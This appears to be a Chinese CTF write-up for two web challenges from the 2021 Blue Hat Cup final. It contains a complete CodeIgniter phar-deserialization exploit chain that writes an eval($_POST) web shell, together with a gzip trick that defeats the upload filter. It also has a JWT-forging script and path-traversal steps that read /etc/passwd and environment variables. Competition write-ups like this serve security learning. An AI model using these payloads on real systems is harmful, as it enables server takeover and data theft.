2021蓝帽杯决赛Web wp
2021蓝帽杯决赛Web wp
Imagecheck
题目给了源码,本地搭建一下。
框架是CodeIgniter。需要开几个php拓展,用phpstudy直接开就行。网站->管理->php拓展 redis和intl。
拿到源码先看路由
首先看到的是Upload路由,它接收了一个文件,file_get_contents读出了这个文件,并过滤。所以文件内容不能含有HALT_COMPILER
需要bypass。第二个过滤告诉我们白名单是什么。
这里其实很容易想到phar
反序列化。
再来看一下Check
路由
发现使用了getimagesize
且参数可控。getimagesize
函数是可以触发反序列化的。
因此我们开始着手挖掘pop链。
搜索__destruct
发现这里的redis可控,可以触发任意类的close。
于是我们全局搜索close
发现了这个close。当$this->redis
存在时,try内的东西抛出错误的时候,就会进入catch方法。
这里的$this->redis
就需要用到我们的php拓展 redis中的类了。
关于这里,logger是可控的,于是可以调用任意类的error
找到了这个类,调用了log
看下这个log方法。
重点在这里。这些handlerConfig
都是可控的,因此$className
和$config
也都是可控的所以说$this->handlers[$className]
就可控,进一步,$handler
也是可控的。
查询一下发现只有一个地方调用了setDateFormat
它会给handler
类的dateFormat
属性赋值。可以赋任意值。
然后就是调用了handler
类的handle
方法。
找到FileHandler
类中的handle
方法
仔细观察发现可以写文件
尝试构造。
先自己写一个类
<?php
namespace App\Controllers;
class User extends BaseController
{
public function index()
{
return unserialize($_GET['ser']);;
}
}
然后开始构造EXP:
<?php
namespace CodeIgniter\Session\Handlers{
class RedisHandler{
protected $redis;
protected $logger;
public function __construct($logger,$redis)
{
$this->logger=$logger;
$this->redis = $redis;
}
}
}
namespace CodeIgniter\Cache\Handlers{
class RedisHandler{
protected $redis;
public function __construct($redis)
{
$this->redis=$redis;
}
}
}
namespace CodeIgniter\Log{
class Logger{
}
}
namespace {
$c=new CodeIgniter\Log\Logger();
$b=new CodeIgniter\Session\Handlers\RedisHandler($c,new redis());
$a=new CodeIgniter\Cache\Handlers\RedisHandler($b);
echo urlencode(serialize($a));
}
首先第一步,构造前几个类。前几个类还是比较容易构造的。
来仔细研究一下Logger类的参数该如何构造。
为了防止出错我们先把所有的参数复制过来,然后再修改。
protected $logLevels = [
'emergency' => 1,
'alert' => 2,
'critical' => 3,
'error' => 4,
'warning' => 5,
'notice' => 6,
'info' => 7,
'debug' => 8,
];
protected $loggableLevels = [];
protected $filePermissions = 0644;
protected $dateFormat = 'Y-m-d H:i:s';
protected $fileExt;
protected $handlers = [];
protected $handlerConfig = [];
public $logCache;
protected $cacheLogs = false;
首先需要修改的就是$handlerConfig
因为它影响了我们的$handler
赋值
键名为类名,值为类的实际参数,我们看一下我们要用的FileHandler
类有哪些参数。然后把这些参数填入$config
现在是这样子的
protected $logLevels = [
'emergency' => 1,
'alert' => 2,
'critical' => 3,
'error' => 4,
'warning' => 5,
'notice' => 6,
'info' => 7,
'debug' => 8,
];
protected $loggableLevels = [];
protected $filePermissions = 0644;
protected $dateFormat = 'Y-m-d H:i:s';
protected $fileExt;
protected $handlers = [];
protected $handlerConfig = [
'CodeIgniter\Log\Handlers\FileHandler'=>[
"path"=>"aa",
"fileExtension"=>"php",
"filePermissions"=>"aa"
]];
public $logCache;
protected $cacheLogs = false;
然后尝试反序列化,调试。
打进去单步调试,前几步没有太大问题
到log这里就出现问题了,我们看下问题出现在哪里。
经过调试发现,这个地方返回了true
也就是说会直接出去。因此我们想办法让他过这个地方
in_array
是检查数组中师傅含有该值,此时$level
的值为
因此我们给$this->loggableLevels
赋值。
把可用的都加上。
经过调试发现这里会直接进入continue,不会进入下面。想办法改一下。
进入BaseHandler
查看
只要让它返回true就好了。
此时level为error,只要给handlers赋值就可以了。
那我们继续赋值
这样,就可以过这个地方了。
进入handle方法,且参数都是我们控制的。
但是这里有个waf,当后缀是php的时候,那么就会产生一个”死亡exit”
这里的$date
会被写入,也就是dateFormat
它也是我们可控的。
因此第一次我们写入的东西就是这样子的
这里加入了死亡exit,dateFormat
的东西被写进来了。
因此再次更改exp。
如果直接写php的话,h会被date解析成小时,会变成这样,于是就需要转义符
protected $handlerConfig = [
'CodeIgniter\Log\Handlers\FileHandler'=>[
'handles' => ['critical', 'alert', 'emergency', 'debug', 'error', 'info', 'notice', 'warning'],
"path"=>"uploads/",
"fileExtension"=>"a.php",
"filePermissions"=>"aa"
]];
绕过死亡exit让后缀不为php就行,我们让他成为a.php
ok成功写入。
链子已打通,尝试构造phar。
把php.ini的readonly关闭
生成phar上传
不出所料,被过滤了,原因是phar中含有HALT_COMPILER
那么 如何绕过?
我们把这个phar拿去gzip一下
gzip phar.jpg
就可以绕过检测。
index.php/Check?file=phar://uploads/phar.jpg/test.txt
触发
发现这里写子目录好像不太行,给他改成绝对路径,因为本地测试和phar进入还是有点不一样的
最终exp
<?php
namespace CodeIgniter\Session\Handlers{
class RedisHandler{
protected $redis;
protected $logger;
public function __construct($logger,$redis)
{
$this->logger=$logger;
$this->redis = $redis;
}
}
}
namespace CodeIgniter\Cache\Handlers{
class RedisHandler{
protected $redis;
public function __construct($redis)
{
$this->redis=$redis;
}
}
}
namespace CodeIgniter\Log{
class Logger{
protected $logLevels = [
'emergency' => 1,
'alert' => 2,
'critical' => 3,
'error' => 4,
'warning' => 5,
'notice' => 6,
'info' => 7,
'debug' => 8,
];
protected $loggableLevels = ['critical', 'alert', 'emergency', 'debug', 'error', 'info', 'notice', 'warning'];
protected $filePermissions = 0644;
protected $dateFormat = '<?p\\hp \\e\\v\\a\\l($_\\P\\O\\S\\T["\\a"]);?>Y-m-d H:i:s';
protected $fileExt;
protected $handlers = [];
protected $handlerConfig = [
'CodeIgniter\Log\Handlers\FileHandler'=>[
'handles' => ['critical', 'alert', 'emergency', 'debug', 'error', 'info', 'notice', 'warning'],
"path"=>"C:\Users\Yang_99\Desktop\bluehat\ImageCheck_cada3f80864345f87ae335e4888826eb\public\uploads",
"fileExtension"=>"bbb.php",
"filePermissions"=>"aa"
]];
public $logCache;
protected $cacheLogs = false;
}
}
namespace {
$c=new CodeIgniter\Log\Logger();
$b=new CodeIgniter\Session\Handlers\RedisHandler($c,new redis());
$a=new CodeIgniter\Cache\Handlers\RedisHandler($b);
echo urlencode(serialize($a));
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
}
editjs
这道题打开根据提示发现了JWT token
http://eci-2ze44hd5fno9nykys6w3.cloudeci1.ichunqiu.com:8888/getfile?filename=/env/secret.key
发现token
K3yy
使用jwt token进行伪造
脚本
import jwt
import time
# payload
token_dict = {
"data": "admin",
"iat": int(time.time()),
# "iat": 1629784832 ,
"exp": int(time.time())+1800
# "exp": 1629786632
}
# headers
headers = {
"alg": "HS256",
"typ": "JWT"
}
print()
jwt_token = jwt.encode(token_dict, # payload, 有效载体
key='K3yy',
headers=headers, # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
algorithm="HS256", # 指明签名算法方式, 默认也是HS256
)
print(jwt_token)
如果没有库可以按照Pyjwt
得到token就可以读文件了
这样可以读取到源码。根据源码进行审计
发现这里使用了拼接。尝试目录穿越读取
发现可以读到/etc/passwd
注释里说flag在环境变量,于是读一下环境变量,就出了
应该是非预期了,预期解是GKCTF2021-easynode的原题